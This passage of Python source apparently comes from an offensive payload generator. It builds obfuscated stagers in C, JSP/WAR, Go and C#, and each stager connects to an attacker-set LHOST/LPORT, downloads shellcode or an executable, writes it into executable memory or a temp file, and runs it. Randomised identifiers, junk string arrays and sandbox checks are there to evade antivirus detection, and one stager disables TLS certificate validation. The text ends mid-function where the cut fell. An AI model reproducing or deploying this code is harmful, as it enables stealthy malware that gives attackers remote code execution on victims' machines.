evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, evasion_helpers.obfuscateNum( int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # real - main() method for the service code serviceName = evasion_helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" % (serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;" ] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = [ "ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;" ] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" % ( hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" % (hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" % (hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # build main() code buffer_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() request_buf_name = evasion_helpers.randomString() buf_counter_name = evasion_helpers.randomString() bytes_read_name = evasion_helpers.randomString() # obfuscation stuff char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1, max_num_strings) code += "char * %s; int i;" % (buffer_name) # obfuscation code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) # call the winsock init function code += "%s();" % (winsock_init_name) # obfuscation code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) # create our socket code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) # build and send the HTTP request to the handler code += "char %s[200];" % (request_buf_name) code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" % ( request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name) code += "send(%s,%s, strlen( %s ),0);" % ( my_socket_name, request_buf_name, request_buf_name) code += "Sleep(300);" # TODO: obfuscate/randomize the size of the page allocated code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # read the full server response into the buffer code += "char * %s = %s;" % (buf_counter_name, buffer_name) code += "int %s; do {" % (bytes_read_name) code += "%s = recv(%s, %s, 1024, 0);" % ( bytes_read_name, my_socket_name, buf_counter_name) code += "%s += %s; }" % (buf_counter_name, bytes_read_name) code += "while ( %s > 0 );" % (bytes_read_name) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "closesocket(%s); WSACleanup();" % (my_socket_name) code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" % ( buffer_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ % (hStatusName, hStatusName, hStatusName) self.payload_source_code = code return
def generate(self): # Set up all our variables var_hexpath = evasion_helpers.randomString() var_exepath = evasion_helpers.randomString() var_data = evasion_helpers.randomString() var_inputstream = evasion_helpers.randomString() var_outputstream = evasion_helpers.randomString() var_numbytes = evasion_helpers.randomString() var_bytearray = evasion_helpers.randomString() var_bytes = evasion_helpers.randomString() var_counter = evasion_helpers.randomString() var_char1 = evasion_helpers.randomString() var_char2 = evasion_helpers.randomString() var_comb = evasion_helpers.randomString() var_exe = evasion_helpers.randomString() var_hexfile = evasion_helpers.randomString() var_proc = evasion_helpers.randomString() var_name = evasion_helpers.randomString() var_payload = evasion_helpers.randomString() random_war_name = evasion_helpers.randomString() # Variables for path to our executable input and war output ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" try: # read in the executable with open(ORIGINAL_EXE, 'rb') as orig_binary: raw = orig_binary.read() txt_exe = hexlify(raw) txt_payload_file = open(var_hexfile + ".txt", 'wb') txt_payload_file.write(txt_exe) txt_payload_file.close() except IOError: print(helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True)) return "" # Set up our JSP files used for triggering the payload within the war file jsp_payload = "<%@ page import=\"java.io.*\" %>\n" jsp_payload += "<%\n" jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" jsp_payload += "String " + var_data + " = \"\";\n" jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" jsp_payload += "}\n" jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" jsp_payload += "FileOutputStream " + var_outputstream + " = new FileOutputStream(" + var_exepath + ");\n" jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" jsp_payload += var_inputstream + ".close();\n" jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" jsp_payload += "{\n" jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter+ " + 1];\n" jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" jsp_payload += var_comb + " <<= 4;\n" jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" jsp_payload += "}\n" jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" jsp_payload += var_outputstream + ".close();\n" jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" jsp_payload += "%>\n" # Write out the jsp code to file with open(var_payload + ".jsp", 'w') as jsp_file_out: jsp_file_out.write(jsp_payload) # MANIFEST.MF file contents, and write it out to disk manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" with open("MANIFEST.MF", 'w') as man_file: man_file.write(manifest_file) # web.xml file contents web_xml_contents = "<?xml version=\"1.0\"?>\n" web_xml_contents += "<!DOCTYPE web-app PUBLIC\n" web_xml_contents += "\"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n" web_xml_contents += "\"http://java.sun.com/dtd/web-app_2_3.dtd\">\n" web_xml_contents += "<web-app>\n" web_xml_contents += "<servlet>\n" web_xml_contents += "<servlet-name>" + var_name + "</servlet-name>\n" web_xml_contents += "<jsp-file>/" + var_payload + ".jsp</jsp-file>\n" web_xml_contents += "</servlet>\n" web_xml_contents += "</web-app>\n" # Write the web.xml file to disk with open("web.xml", 'w') as xml_file: xml_file.write(web_xml_contents) # Create the directories needed for the war file, and move the needed files into them os.system("mkdir -p META-INF") os.system("mkdir -p WEB-INF") os.system("mv -f web.xml WEB-INF/") os.system("mv -f MANIFEST.MF META-INF/") # Make the war file by zipping everything together myZipFile = zipfile.ZipFile(war_file, 'w') myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) myZipFile.close() with open(war_file, 'rb') as f: payload_code = f.read() # Clean up the individual files, you can always unzip the war to see them again os.system("rm -rf WEB-INF") os.system("rm -rf META-INF") os.system("rm -f " + var_payload + ".jsp") os.system("rm -f " + var_hexfile + ".txt") os.system("rm -f " + war_file) # Return self.payload_source_code = payload_code return
def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() base64Url = evasion_helpers.randomString() size = evasion_helpers.randomString() err = evasion_helpers.randomString() randBase = evasion_helpers.randomString() length = evasion_helpers.randomString() foo = evasion_helpers.randomString() random = evasion_helpers.randomString() outp = evasion_helpers.randomString() i = evasion_helpers.randomString() randTextBase64URL = evasion_helpers.randomString() getURI = evasion_helpers.randomString() sumVar = evasion_helpers.randomString() checksum8 = evasion_helpers.randomString() uri = evasion_helpers.randomString() value = evasion_helpers.randomString() hostAndPort = evasion_helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = evasion_helpers.randomString() uriLength = randint(5, 255) payload = evasion_helpers.randomString() bufferVar = evasion_helpers.randomString() x = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" payload_code += ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) payload_code += "var %s []byte\n" % (outp) payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) payload_code += "return string(%s)\n}\n" % (outp) payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) payload_code += "%s := []byte(%s)\n" % (foo, base64Url) payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength) payload_code += "defer %s.Body.Close()\n" % (response) payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) payload_code += "for %s, %s := range %s {\n" % (x, value, payload) payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return
def generate(self): # imports and namespace setup payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString()) # code for the randomString() function randomStringName = evasion_helpers.randomString() bufferName = evasion_helpers.randomString() charsName = evasion_helpers.randomString() t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") random.shuffle(t) chars = ''.join(t) # logic to turn off certificate validation validateServerCertficateName = evasion_helpers.randomString() payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" %(validateServerCertficateName) # code for the randomString() method payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) payload_code += "char[] %s = new char[s];\n"%(bufferName) payload_code += "string %s = \"%s\";\n" %(charsName, chars) payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) payload_code += "return new string(%s);}\n" %(bufferName) # code for the checksum8() function checksum8Name = evasion_helpers.randomString() payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) # code fo the genHTTPChecksum() function genHTTPChecksumName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() randCharsName = evasion_helpers.randomString() urlName = evasion_helpers.randomString() random.shuffle(t) randChars = ''.join(t) randomReturn = evasion_helpers.randomString(4) payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) payload_code += "if (%s(%s)) {return %s;}}} return \"%s\";}"%(checksum8Name,urlName, urlName, randomReturn) # code for getData() function getDataName = evasion_helpers.randomString() strName = evasion_helpers.randomString() webClientName = evasion_helpers.randomString() sName = evasion_helpers.randomString() payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" %(validateServerCertficateName) payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) # Proxy if self.required_options["PROXY"][0].lower() == "y": defaultWebProxyName = evasion_helpers.randomString() payload_code += "IWebProxy %s = WebRequest.DefaultWebProxy;\n" %(defaultWebProxyName) payload_code += "%s.Credentials = CredentialCache.DefaultCredentials;\n" %(defaultWebProxyName) payload_code += "%s.Proxy = %s;\n" %(webClientName, defaultWebProxyName) payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) payload_code += "byte[] %s = null;\n" %(sName) payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) payload_code += "catch (WebException) {}\n" payload_code += "return %s;}\n" %(sName) # code fo the inject() function to inject shellcode injectName = evasion_helpers.randomString() sName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payload_code += " UInt32 %s = 0;\n" %(threadIdName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) # code for Main() to launch everything sName = evasion_helpers.randomString() randomName = evasion_helpers.randomString() curlyCount = 0 payload_code += "static void Main(){\n" payload_code2, curlyCount = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) payload_code += "%s(%s);}\n" %(injectName, sName) while (curlyCount != 0): payload_code += '\t' * curlyCount + '}' curlyCount -= 1 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(12)] y = [evasion_helpers.randomString() for x in range(17)] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return
def generate(self): # imports and namespace setup payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % ( evasion_helpers.randomString(), evasion_helpers.randomString()) # code for the randomString() function randomStringName = evasion_helpers.randomString() bufferName = evasion_helpers.randomString() charsName = evasion_helpers.randomString() t = list( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") random.shuffle(t) chars = ''.join(t) # logic to turn off certificate validation validateServerCertficateName = evasion_helpers.randomString() payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" % ( validateServerCertficateName) # code for the randomString() method payload_code += "static string %s(Random r, int s) {\n" % ( randomStringName) payload_code += "char[] %s = new char[s];\n" % (bufferName) payload_code += "string %s = \"%s\";\n" % (charsName, chars) payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % ( bufferName, charsName, charsName) payload_code += "return new string(%s);}\n" % (bufferName) # code for the checksum8() function checksum8Name = evasion_helpers.randomString() payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % ( checksum8Name) # code fo the genHTTPChecksum() function genHTTPChecksumName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() randCharsName = evasion_helpers.randomString() urlName = evasion_helpers.randomString() random.shuffle(t) randChars = ''.join(t) randomReturn = evasion_helpers.randomString(4) payload_code += "static string %s(Random r) { string %s = \"\";\n" % ( genHTTPChecksumName, baseStringName) payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % ( baseStringName, randomStringName) payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % ( randCharsName, randChars) payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % ( randCharsName) payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName, randCharsName) payload_code += "if (%s(%s)) {return %s;}}} return \"%s\";}" % ( checksum8Name, urlName, urlName, randomReturn) # code for getData() function getDataName = evasion_helpers.randomString() strName = evasion_helpers.randomString() webClientName = evasion_helpers.randomString() sName = evasion_helpers.randomString() payload_code += "static byte[] %s(string %s) {\n" % (getDataName, strName) payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" % ( validateServerCertficateName) payload_code += "WebClient %s = new System.Net.WebClient();\n" % ( webClientName) # Proxy if self.required_options["PROXY"][0].lower() == "y": defaultWebProxyName = evasion_helpers.randomString() payload_code += "IWebProxy %s = WebRequest.DefaultWebProxy;\n" % ( defaultWebProxyName) payload_code += "%s.Credentials = CredentialCache.DefaultCredentials;\n" % ( defaultWebProxyName) payload_code += "%s.Proxy = %s;\n" % (webClientName, defaultWebProxyName) payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % ( webClientName) payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % ( webClientName) payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % ( webClientName) payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % ( webClientName) payload_code += "byte[] %s = null;\n" % (sName) payload_code += "try { %s = %s.DownloadData(%s);\n" % ( sName, webClientName, strName) payload_code += "if (%s.Length < 100000) return null;}\n" % (sName) payload_code += "catch (WebException) {}\n" payload_code += "return %s;}\n" % (sName) # code fo the inject() function to inject shellcode injectName = evasion_helpers.randomString() sName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "static void %s(byte[] %s) {\n" % (injectName, sName) payload_code += " if (%s != null) {\n" % (sName) payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % ( funcAddrName, sName) payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % ( sName, funcAddrName, sName) payload_code += " IntPtr %s = IntPtr.Zero;\n" % ( hThreadName) payload_code += " UInt32 %s = 0;\n" % (threadIdName) payload_code += " IntPtr %s = IntPtr.Zero;\n" % (pinfoName) payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % ( hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % ( hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "static void %s(byte[] %s) {\n" % (injectName, sName) payload_code += " if (%s != null) {\n" % (sName) payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format( pinfoName, sName) payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, 